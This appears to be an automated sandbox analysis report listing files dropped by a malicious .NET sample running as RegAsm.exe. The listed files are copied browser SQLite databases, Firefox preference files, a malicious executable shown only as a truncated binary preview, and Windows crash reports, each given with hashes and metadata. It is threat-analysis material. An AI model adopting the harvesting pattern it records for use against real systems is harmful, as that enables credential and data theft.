Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\JDBGHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\JKFIDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EGIIJDHCGCBK\KKKEBK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDHDAEBGCAAFIDGCGDHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJEGDAKEHJECAKEGDHJDHDAFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAFIIDAKJ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196136
Entropy (8bit):	7.96737585890837
Encrypted:	false
SSDEEP:	3072:eeevMXvHF84YMPwKf78nzuWqf5bNYy0v1yfX54yq3FFgJSSuQeYt7QaONmw7DBdz:e5vM/HDY8WqWqf5bWy0vuX5l5ESuQeYK
MD5:	1EF9BBED957BCD2DF5A639E04A67F8BB
SHA1:	DEA8AF341746162F51E7C37486C43F484B7EAA20
SHA-256:	A1259A67819BB78FB8D97596DAEAEE6D01F8CF984DD217C7BF10E1808F3D7C01
SHA-512:	1F915183D6B688324E4E3B6041AE780AEDA3CDBE65156F6B151BE8BE3C09BE9F55C56577E494BC1E8B96C146DCF76204745B7BCDC2A222854F0784A766020663
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....u.f............................^.... ........@.. .......................@.......w....`.....................................S.......B...............(&... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...B...........................@..@.reloc....... ......................@..B................@.......H...........8...........................................................1D.g1.M<..ZfHA.].R(.......v..X7.U".7..-O,..?v1...z....?.l..>.^..'.PL^..lS..G.c.}..P.....8...oS..M...[....-..ff..cf...H...j...%.n.....a/?r.R.".........]Z....jS...k.W.a99....\|.py..m.s\|.h.......4...X7....2..?.4P.N....83"..pe..o...c..wt..j..L._K....Q@..;s.....?RK..GN..&.c.....N....`.p.2..+.Y..E4..../..,.w...."..Z.y...=..?.ui$.......Ch......j.YI^........^.o.....?.]V..wP.n. x...;E...VeJ__..v..

C:\ProgramData\IIJJDGHJKKJEBFHJDBGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJDBAEHIJKJKEBFIEGHIDAAECB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJJKFIIIJJJECAAEHDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegAsm.exe_5c39e2f0624fb3ace2547e2d794ca76a89c913_e446d4ea_245f8564-d534-4b59-a8c9-ca98f78cc747\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1055170679507058
Encrypted:	false
SSDEEP:	192:0VAeFy/L+j00BU/AjezEKJL+J8zuiFOZ24IO8Z:yWL+jvBU/AjevfzuiFOY4IO8Z
MD5:	AAB3F8AEE15A75DBC088B783FC4F8CD5
SHA1:	C6C014E31441C0CB04940FD7FE0BA3086BF7418A
SHA-256:	2EAE2A84CB27A5F97054F6C41636315B8507CF782B866B36D92EF316B45CCD02
SHA-512:	AFC6629D95701B3261D070B86F18095729EBCD4B712C38200C190878475D6E327894868565C75FC433764A13EF66B7540952F35B87960A9DDA37F52F8B8C9C2E
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.3.5.8.8.0.6.9.5.7.9.4.2.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.3.5.8.8.0.7.4.8.9.1.9.7.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.4.5.f.8.5.6.4.-.d.5.3.4.-.4.b.5.9.-.a.8.c.9.-.c.a.9.8.f.7.8.c.c.7.4.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.c.8.c.0.6.8.7.-.8.e.e.0.-.4.4.8.6.-.9.0.3.4.-.f.f.2.8.b.2.1.b.3.b.4.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.e.g.A.s.m...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.e.g.A.s.m...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.6.0.-.0.0.0.1.-.0.0.1.4.-.b.1.3.d.-.4.5.2.8.9.c.f.9.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.2.3.0.a.b.5.5.5.9.e.8.0.6.5.7.4.d.2.6.b.4.c.2.0.8.4.7.c.3.6.8.e.d.5.5.4.8.3.b.0.!.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegAsm.exe_5c39e2f0624fb3ace2547e2d794ca76a89c913_e446d4ea_fea9f638-5ef5-4df2-b30b-be656963e699\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0744842279513929
Encrypted:	false
SSDEEP:	192:H1MPeFy/R+j00BU/AjezEK2zuzuiF2Z24IO8Z:VMxR+jvBU/AjeoSzuiF2Y4IO8Z
MD5:	DF896C48060E62FCA378F3914BFAE491
SHA1:	50CFACA3D3BF3C9A83189C867BE891930901DDD6
SHA-256:	6BF7456B0D128F81BA7FAEA50A7747CF301763A208529EAF10D081ABECB6D5A9
SHA-512:	AE2B7A78442E632B6F0F299A1757A94A60C200BB93FEFC82FC3344FCEBC90905576AB693187C71528AE85789C40452E54D429B0EA75E8BD88D65555972FB0A14
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.3.5.2.1.1.7.0.9.6.6.4.1.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.3.5.2.1.1.8.6.4.3.5.1.1.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.e.a.9.f.6.3.8.-.5.e.f.5.-.4.d.f.2.-.b.3.0.b.-.b.e.6.5.6.9.6.3.e.6.9.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.c.2.4.1.f.2.e.-.e.0.1.8.-.4.1.d.3.-.b.2.0.1.-.8.e.9.2.2.6.4.9.8.9.9.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.e.g.A.s.m...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.e.g.A.s.m...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.2.c.0.-.0.0.0.1.-.0.0.1.4.-.e.b.1.4.-.9.2.9.4.8.c.f.9.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.2.3.0.a.b.5.5.5.9.e.8.0.6.5.7.4.d.2.6.b.4.c.2.0.8.4.7.c.3.6.8.e.d.5.5.4.8.3.b.0.!.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER37EE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Aug 28 22:46:47 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	107934
Entropy (8bit):	2.0520864575464586
Encrypted:	false
SSDEEP:	384:DrzL+5HnFnbAE8rRZhNj9JwjAmegoF8dytM3Tr7vHjoQv5C54:DrO5nFYnwjjM6q4
MD5:	587CB7215E4B746022D90AFD42E2975E
SHA1:	DC6A65D14D90335208D7D5A78BC549EB0B54FD02
SHA-256:	A92F4B7D3CE20B838ACB171E016BCF036B4C69D3D1561963C9219ED49B274EE8
SHA-512:	0FE77F2BD92FD29B7964075833F64500DE2405F00C4CA71D3BB1247B0006A486F79D91B78D93BDE9FC289DDF6435BB83581E5F5AAFEF52CA07EBD2666DFCC08B
Malicious:	false
Preview:	MDMP..a..... .........f........................H...........<....$..........ZI..........`.......8...........T............D...a...........%...........'..............................................................................eJ.......'......GenuineIntel............T.......`.....f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3918.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6290
Entropy (8bit):	3.7212660901431174
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetby/6IYlQE/KSo5aM4U789bN4sfevm:R6l7wVeJy/6IYlIpr789bN4sfevm
MD5:	D1296BE78C000EE44131D0E6C0CD12C7
SHA1:	6C6D06E154AC963FEAED8563C737F6F381DC9706
SHA-256:	D1C031C9F55D7635EA854B03E2C3DF091EDD61EDDB9B880E96058C46FED92155
SHA-512:	93B068F47843C356257A80C2320434E5FD07BEAAF48667A0DA5D529FACA5AF89C3154DA202011C716D61ADD78996386118F584D0014584B9A6CA23742A36095D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3938.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4628
Entropy (8bit):	4.449059338680303
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9OZWpW8VYYYm8M4JfuMsi6FJSv+q8otFMYMQgLuOLumrd:uIjfSI7wo7V4JfuvTSvvtEBukumrd
MD5:	22177D4D68270AED99F80523399850C5
SHA1:	F2A9FBB70F1BAB63A42647FF63EDB8B2688B944F
SHA-256:	89F7DECB65A4E50A8DEB20E9F77155D059FD56E822711F901C28E036C30FDE9E
SHA-512:	456A79CAEC5D46F095A6C69B6DA705A6FD4178AC7930455B214325FF7ED32CA56A331276D2563308BD6D373614936B38F1DF1727FEBA8C4E72A44766EB42EE08
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="476029" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER74EC.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Aug 28 20:55:17 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	110964
Entropy (8bit):	2.008974921850326
Encrypted:	false
SSDEEP:	384:S8rzh2li5HnC6rPjP3GhKdPyD+WO288j8WH9aojKq:HrP5nC6rPT2h6yaAv9Lj7
MD5:	DCFB5601C4505535AFB40746D6AA5B19
SHA1:	57C0D28A9F91A277BC0040DA5D1D3FD426A9E298
SHA-256:	BD8EA98D035B3EBCC106CDAB4ED32200F39463E14490FB5B11A66FC5DEF16739
SHA-512:	1853AB78F5C45DE8D27EE28845B4B7A2B13F36365DE6843A1324FC8067B20C2885D82C2765628FD003031893F186348E3C58E40159A977DD053FF41EFFDCBDFA
Malicious:	false
Preview:	MDMP..a..... ..........f........................H...........<....$...........H..........`.......8...........T............D...l...........%...........'..............................................................................eJ.......'......GenuineIntel............T..............f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER76F1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6290
Entropy (8bit):	3.7189556037148046
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetba76xYlQE/KSo5aM4UF89bQEsfPgQm:R6l7wVeJa76xYlIprF89bQEsf4Qm
MD5:	4E18AD9ED51BFDF1BEB6C2FBD297796C
SHA1:	1BE8C831CFBC54741FE5405279C872084DEEE58C
SHA-256:	4BFB7F7B7BCB3FBEFD99BCB00598CC958E40B8FF6A13CCB851A0CDE914DA6ECA
SHA-512:	36271707D9F80BA69C8D7CBD52B25108522D88F62FE45BF96406BF67BC2C6ECAF95C1D0DDA015B532F7FA3FF6FB8A771E36DFF566855ACC04FD48676659AEC2D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.8.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER775F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4628
Entropy (8bit):	4.448450471879178
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVJg77aI9OZWpW8VYJYm8M4JfuMsi6FP6m+q8otFMvwQgLuOLu2rd:uIjfvI7wo7VJJfuvBpvtwwBuku2rd
MD5:	14D60354B3DDFF485F1A966B4680D7EF
SHA1:	FD93A40B5684D2839A1CFFB198A7111CE0B8B5B6
SHA-256:	D01B548253CCC237387C19A39F2445CCD3621605FCE9B79FA1DAB01756182C8F
SHA-512:	C926E0F1FF9CA17B46F343BAA1BF8A76BA562778F33C84AE4784499EAF7C3E4FBBDB15BC15AE078A10ABD0D0666D78FC7115E488C23D68EAB737D998F2ECDCD1
Malicious:	false
